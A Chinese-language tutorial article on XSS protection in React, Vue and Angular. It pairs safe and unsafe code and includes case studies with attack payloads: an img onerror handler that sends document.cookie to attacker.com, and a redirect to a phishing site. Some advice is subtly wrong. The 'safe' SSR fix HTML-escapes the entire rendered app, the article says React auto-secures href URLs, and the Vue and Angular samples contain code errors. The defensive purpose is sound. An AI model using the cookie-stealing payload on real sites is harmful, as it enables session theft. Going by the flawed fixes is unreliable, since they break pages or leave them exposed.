乐闻世界logo
搜索文章和话题

前端框架（React、Vue、Angular）如何防止 XSS 攻击？有哪些内置的安全机制？

2月21日 16:23

答案

前端框架（如 React、Vue、Angular）在 XSS 防护方面提供了内置的安全机制，但开发者仍需了解如何正确使用这些机制以及它们的局限性。不同框架的 XSS 防护策略各有特点，需要根据具体框架选择合适的防护方法。

React 的 XSS 防护

1. 自动转义机制

React 的默认行为： React 默认会对 JSX 中的内容进行转义，防止 XSS 攻击。

jsx
// React 自动转义，安全
function UserInput({ input }) {
  return <div>{input}</div>;
}

// 如果 input = "<script>alert('XSS')</script>"
// 输出: &lt;script&gt;alert('XSS')&lt;/script&gt;

转义规则：

  • < 转义为 &lt;
  • > 转义为 &gt;
  • & 转义为 &amp;
  • " 转义为 &quot;
  • ' 转义为 &#x27;

2. dangerouslySetInnerHTML

危险用法：

jsx
// 危险：直接插入 HTML
function UserContent({ content }) {
  return <div dangerouslySetInnerHTML={{ __html: content }} />;
}

// 如果 content = "<script>alert('XSS')</script>"
// 脚本会被执行

安全用法：

jsx
import DOMPurify from 'dompurify';

function UserContent({ content }) {
  const cleanContent = DOMPurify.sanitize(content);
  return <div dangerouslySetInnerHTML={{ __html: cleanContent }} />;
}

3. 用户输入处理

安全的用户输入处理：

jsx
function SearchBar() {
  const [query, setQuery] = useState('');
  
  return (
    <div>
      <input 
        type="text" 
        value={query} 
        onChange={(e) => setQuery(e.target.value)} 
      />
      <p>搜索结果：{query}</p>
    </div>
  );
}

不安全的用户输入处理：

jsx
function SearchBar() {
  const [query, setQuery] = useState('');
  
  return (
    <div>
      <input 
        type="text" 
        value={query} 
        onChange={(e) => setQuery(e.target.value)} 
      />
      <p dangerouslySetInnerHTML={{ __html: `搜索结果：${query}` }} />
    </div>
  );
}

4. URL 处理

安全的 URL 处理：

jsx
function Link({ url, text }) {
  return <a href={url}>{text}</a>;
}

// React 会自动转义 URL 属性

不安全的 URL 处理：

jsx
function Link({ url, text }) {
  return <a href={`javascript:${url}`}>{text}</a>;
}

// 如果 url = "alert('XSS')"
// 点击链接时会执行脚本

Vue 的 XSS 防护

1. 自动转义机制

Vue 的默认行为： Vue 默认会对插值表达式中的内容进行转义。

vue
<template>
  <div>{{ userInput }}</div>
</template>

<!-- 如果 userInput = "<script>alert('XSS')</script>" -->
<!-- 输出: &lt;script&gt;alert('XSS')&lt;/script&gt; -->

2. v-html 指令

危险用法：

vue
<template>
  <div v-html="userContent"></div>
</template>

<script>
export default {
  data() {
    return {
      userContent: '<script>alert("XSS")</script>'
    };
  }
};
</script>

安全用法：

vue
<template>
  <div v-html="sanitizedContent"></div>
</template>

<script>
import DOMPurify from 'dompurify';

export default {
  data() {
    return {
      userContent: '<script>alert("XSS")</script>'
    };
  },
  computed: {
    sanitizedContent() {
      return DOMPurify.sanitize(this.userContent);
    }
  }
};
</script>

3. 绑定属性

安全的属性绑定：

vue
<template>
  <a :href="url">{{ text }}</a>
  <img :src="imageUrl" :alt="imageAlt">
</template>

<script>
export default {
  data() {
    return {
      url: 'https://example.com',
      imageUrl: 'https://example.com/image.jpg',
      imageAlt: 'Example Image'
    };
  }
};
</script>

不安全的属性绑定：

vue
<template>
  <a :href="javascriptUrl">{{ text }}</a>
</template>

<script>
export default {
  data() {
    return {
      javascriptUrl: 'javascript:alert("XSS")',
      text: 'Click me'
    };
  }
};
</script>

4. 事件处理

安全的事件处理：

vue
<template>
  <button @click="handleClick">Click me</button>
</template>

<script>
export default {
  methods: {
    handleClick() {
      console.log('Button clicked');
    }
  }
};
</script>

不安全的事件处理：

vue
<template>
  <button @click="userCode">Click me</button>
</template>

<script>
export default {
  data() {
    return {
      userCode: 'alert("XSS")'
    };
  },
  methods: {
    userCode() {
      eval(this.userCode);
    }
  }
};
</script>

Angular 的 XSS 防护

1. 自动转义机制

Angular 的默认行为： Angular 默认会对插值表达式和属性绑定中的内容进行转义。

typescript
@Component({
  selector: 'app-user-input',
  template: '<div>{{ userInput }}</div>'
})
export class UserInputComponent {
  userInput = '<script>alert("XSS")</script>';
}

// 输出: &lt;script&gt;alert("XSS")&lt;/script&gt;

2. DomSanitizer

危险用法：

typescript
import { DomSanitizer } from '@angular/platform-browser';

@Component({
  selector: 'app-user-content',
  template: '<div [innerHTML]="userContent"></div>'
})
export class UserContentComponent {
  userContent: any;

  constructor(private sanitizer: DomSanitizer) {
    // 危险：绕过安全检查
    this.userContent = this.sanitizer.bypassSecurityTrustHtml(
      '<script>alert("XSS")</script>'
    );
  }
}

安全用法：

typescript
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';

@Component({
  selector: 'app-user-content',
  template: '<div [innerHTML]="sanitizedContent"></div>'
})
export class UserContentComponent {
  sanitizedContent: SafeHtml;

  constructor(private sanitizer: DomSanitizer) {
    // 安全：使用 sanitizeHtml
    this.sanitizedContent = this.sanitizer.sanitize(
      SecurityContext.HTML,
      '<script>alert("XSS")</script>'
    );
  }
}

3. 属性绑定

安全的属性绑定：

typescript
@Component({
  selector: 'app-link',
  template: '<a [href]="url">{{ text }}</a>'
})
export class LinkComponent {
  url = 'https://example.com';
  text = 'Example Link';
}

不安全的属性绑定：

typescript
@Component({
  selector: 'app-link',
  template: '<a [href]="javascriptUrl">{{ text }}</a>'
})
export class LinkComponent {
  javascriptUrl = 'javascript:alert("XSS")';
  text = 'Click me';
}

前端框架的局限性

1. 第三方库的风险

不安全的第三方库使用：

jsx
// React 示例
import ReactMarkdown from 'react-markdown';

function MarkdownContent({ content }) {
  return <ReactMarkdown>{content}</ReactMarkdown>;
}

// 如果 content 包含恶意 HTML，可能会被执行

安全做法：

jsx
import ReactMarkdown from 'react-markdown';
import DOMPurify from 'dompurify';

function MarkdownContent({ content }) {
  const cleanContent = DOMPurify.sanitize(content);
  return <ReactMarkdown>{cleanContent}</ReactMarkdown>;
}

2. 服务器端渲染（SSR）的风险

不安全的 SSR：

javascript
// Node.js Express 示例
app.get('*', (req, res) => {
  const app = ReactDOMServer.renderToString(<App />);
  res.send(`
    <!DOCTYPE html>
    <html>
      <head>
        <title>My App</title>
      </head>
      <body>
        <div id="root">${app}</div>
      </body>
    </html>
  `);
});

安全做法：

javascript
import { renderToString } from 'react-dom/server';
import { escape } from 'lodash';

app.get('*', (req, res) => {
  const app = renderToString(<App />);
  res.send(`
    <!DOCTYPE html>
    <html>
      <head>
        <title>My App</title>
      </head>
      <body>
        <div id="root">${escape(app)}</div>
      </body>
    </html>
  `);
});

前端框架 XSS 防护最佳实践

1. 永远不要使用 eval

javascript
// 不安全
eval(userInput);
new Function(userInput);
setTimeout(userInput, 1000);
setInterval(userInput, 1000);

// 安全
const data = JSON.parse(userInput);
setTimeout(() => processData(data), 1000);

2. 使用安全的 DOM 操作

javascript
// 不安全
element.innerHTML = userInput;
document.write(userInput);

// 安全
element.textContent = userInput;
element.innerText = userInput;

3. 验证和清理用户输入

javascript
// React 示例
import DOMPurify from 'dompurify';

function UserContent({ content }) {
  const cleanContent = DOMPurify.sanitize(content, {
    ALLOWED_TAGS: ['p', 'b', 'i', 'u', 'a'],
    ALLOWED_ATTR: ['href', 'title']
  });
  
  return <div dangerouslySetInnerHTML={{ __html: cleanContent }} />;
}

4. 使用 Content Security Policy

javascript
// 设置 CSP
app.use((req, res, next) => {
  res.setHeader('Content-Security-Policy', 
    "default-src 'self'; " +
    "script-src 'self' 'nonce-abc123'; " +
    "style-src 'self' 'unsafe-inline'; " +
    "img-src 'self' data: https:;"
  );
  next();
});

5. 实施 HttpOnly Cookie

javascript
// 设置 HttpOnly Cookie
res.cookie('sessionId', sessionId, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict'
});

实际案例分析

案例 1：React 博客平台

问题： 博客平台使用 dangerouslySetInnerHTML 显示用户提交的 HTML 内容，没有进行清理。

漏洞代码：

jsx
function BlogPost({ content }) {
  return <div dangerouslySetInnerHTML={{ __html: content }} />;
}

攻击示例：

jsx
const maliciousContent = `
  <img src=x onerror="
    const stolenCookie = document.cookie;
    fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie));
  ">
`;

<BlogPost content={maliciousContent} />

修复方案：

jsx
import DOMPurify from 'dompurify';

function BlogPost({ content }) {
  const cleanContent = DOMPurify.sanitize(content, {
    ALLOWED_TAGS: ['p', 'h1', 'h2', 'h3', 'strong', 'em', 'a', 'img'],
    ALLOWED_ATTR: ['href', 'src', 'alt', 'title']
  });
  
  return <div dangerouslySetInnerHTML={{ __html: cleanContent }} />;
}

案例 2：Vue 电商平台

问题： 电商平台使用 v-html 显示商品描述，没有进行清理。

漏洞代码：

vue
<template>
  <div v-html="product.description"></div>
</template>

攻击示例：

javascript
const maliciousDescription = `
  <img src=x onerror="
    window.location = 'http://phishing.com/login';
  ">
`;

product.description = maliciousDescription;

修复方案：

vue
<template>
  <div v-html="sanitizedDescription"></div>
</template>

<script>
import DOMPurify from 'dompurify';

export default {
  props: ['product'],
  computed: {
    sanitizedDescription() {
      return DOMPurify.sanitize(this.product.description, {
        ALLOWED_TAGS: ['p', 'strong', 'em', 'ul', 'ol', 'li', 'a'],
        ALLOWED_ATTR: ['href', 'title']
      });
    }
  }
};
</script>

总结

前端框架提供了内置的 XSS 防护机制，但开发者仍需注意以下几点：

React 防护要点：

  1. 利用 React 的自动转义机制
  2. 谨慎使用 dangerouslySetInnerHTML
  3. 使用 DOMPurify 清理用户输入
  4. 避免 javascript: 协议的 URL

Vue 防护要点：

  1. 利用 Vue 的自动转义机制
  2. 谨慎使用 v-html 指令
  3. 使用 DOMPurify 清理用户输入
  4. 避免在事件处理中使用 eval

Angular 防护要点：

  1. 利用 Angular 的自动转义机制
  2. 谨慎使用 DomSanitizer.bypassSecurityTrustHtml
  3. 使用 DomSanitizer.sanitize 清理用户输入
  4. 避免 javascript: 协议的 URL

通用最佳实践：

  1. 永远不要使用 eval 或 new Function
  2. 使用安全的 DOM 操作 API
  3. 验证和清理所有用户输入
  4. 实施 Content Security Policy
  5. 设置 HttpOnly Cookie
  6. 定期进行安全审计和测试

通过正确使用前端框架的安全机制并遵循最佳实践，可以有效地防止 XSS 攻击。

标签：XSS
热门标签
更多
Git(114)C语言(23)C++(15)React(34)前端(148)Cypress(27)JavaScript(56)Linux(20)Rust(10)Docker(65)Mongoose(18)TypeScript(27)MySQL(8)Vue(13)Tailwind CSS(29)CSS(19)ElasticSearch(24)网络(12)TypeORM(31)